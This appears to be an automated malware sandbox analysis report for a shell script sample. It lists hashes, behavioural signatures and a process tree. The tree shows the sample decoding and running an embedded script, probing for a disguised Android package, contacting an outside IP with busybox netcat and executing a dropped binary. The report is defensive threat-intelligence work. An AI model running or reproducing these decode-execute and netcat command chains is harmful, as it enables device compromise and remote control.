Analysis
- max time kernel
134s - max time network
71s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
13/09/2026, 17:46
Static task
static1
Behavioral task
behavioral1
Sample
465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
Resource
debian9-mipsel-20260513-en
General
- Target 465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
- Size 832KB
- Sample260913-wcjsds1bpg
- SHA256 6c43d5384aecafd57738e21ba48b84e813429b2fab665a6fa7ac5cbe0a7a9a2f
- MD5 adce54657bb336408b2bb17a09954a5d
- SHA1 9fc1162e6535d55d9025e6252d5216ffd78ba6b6
- SHA512 c306423f80db0ba351e3d468b8aabb82d6bb658c42862b0292f4db902f743c83913e234ba819d4b85eb14c09ccee8fc2804650cde2d2d3ed5b8378d7bc01aabc
- SSDEEP 24576:U4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeP:+/o8ZatHiw5ycMVmKkeP
- TLSH T15D052308F11B8C38ED4E3C8CE49EEBDD192520A28B55E1475A6534AEBE347DC807A75F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 740 chmod 860 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /data/local/tmp/richy 861 bash - Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 723 base64 -
description ioc Process File opened for reading /proc/filesystems mkdir - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/tmp.RiqYraRaLo/embedded.sh 465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh File opened for modification /tmp/sh-thd.YdaV8M 465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh
Processes
-
/tmp/465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh/tmp/465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade_comment-insertion.sh1⤵
- Writes file to tmp directory
PID:711 -
/bin/mktempmktemp -d2⤵PID:719
-
-
/usr/bin/python3python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "2⤵PID:724
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
PID:723
-
-
/bin/chmodchmod +x /tmp/tmp.RiqYraRaLo/embedded.sh2⤵
- File and Directory Permissions Modification
PID:740
-
-
/bin/bashbash /tmp/tmp.RiqYraRaLo/embedded.sh1⤵
- Executes dropped EXE
PID:711 -
/bin/mkdirmkdir -p /data/local/tmp2⤵
- Reads runtime system information
PID:741
-
-
/bin/grepgrep -q "^package:com.google.android.sys.update\$"2⤵PID:753
-
-
/bin/busyboxbusybox nc 147.182.169.126 33892⤵PID:755
-
-
/bin/grepgrep -q "Package \\[com.google.android.sys.update\\]"2⤵PID:757
-
-
/bin/busyboxbusybox nc 147.182.169.126 84432⤵PID:761
-
-
/bin/sleepsleep 52⤵PID:759
-
-
/bin/rmrm -f /data/local/tmp/me.apk /data/local/tmp/richy2⤵PID:821
-
-
/bin/chmodchmod 777 richy2⤵
- File and Directory Permissions Modification
PID:860
-
-
/data/local/tmp/richy./richy kieran2⤵PID:861
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/sh-thd.YdaV8M
- Size 827KB
- SHA256 02c5719786945cbf40e3ddedecff2af16b01e58038b41d45e7f6acbc76958e24
- MD5 88f58a9a1ac91f0ec8ec59f83ebbd0fa
- SHA1 04b1b4b47b3adbde189f7a0e462e8398e9c8ec05
- SHA512 2c85c1f33260150031df2538888387b725ad46f0f468cddab274fa3897cec3c96ec57ddcb632dd9bf2cfed8761c0163b136b2d0fad60529f9e29b2cdc0782f3e
- SSDEEP 24576:UMOPr9a/8xRaPRwqNwybCRD04ghANIsdJpci7OyW:8e8xyxNwybCacd7cWOyW
- TLSH T154052308B51B8C3CED0E3C8CE49AEFDC192520A28B55D1871A6534AE7E747DC847E79E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/tmp.RiqYraRaLo/embedded.sh
- Size 2KB
- SHA256 465d9e29fd4e7f614deb287428e1b595d291d535de4dfd571ab49da68314bade
- MD5 dfb19cb28a11b33db0a83d0f033a02f4
- SHA1 4a1772953ea483a408a4ec252ea139a262e10db1
- SHA512 35572daba0fbade129c7ed3a06e7e302556363f43984f3cd7b705e6b4650d640befe032efc35c1ba15a8eed7ea3fd8524dbbe35d34b3d06664af15378aebb13e
- TLSH T1B241FC871B607533B47D8A3C19764432291407D416B8F3E22BBA503D9F2B40AD7ADCDB
- MD5 SHA1 SHA512 TLSH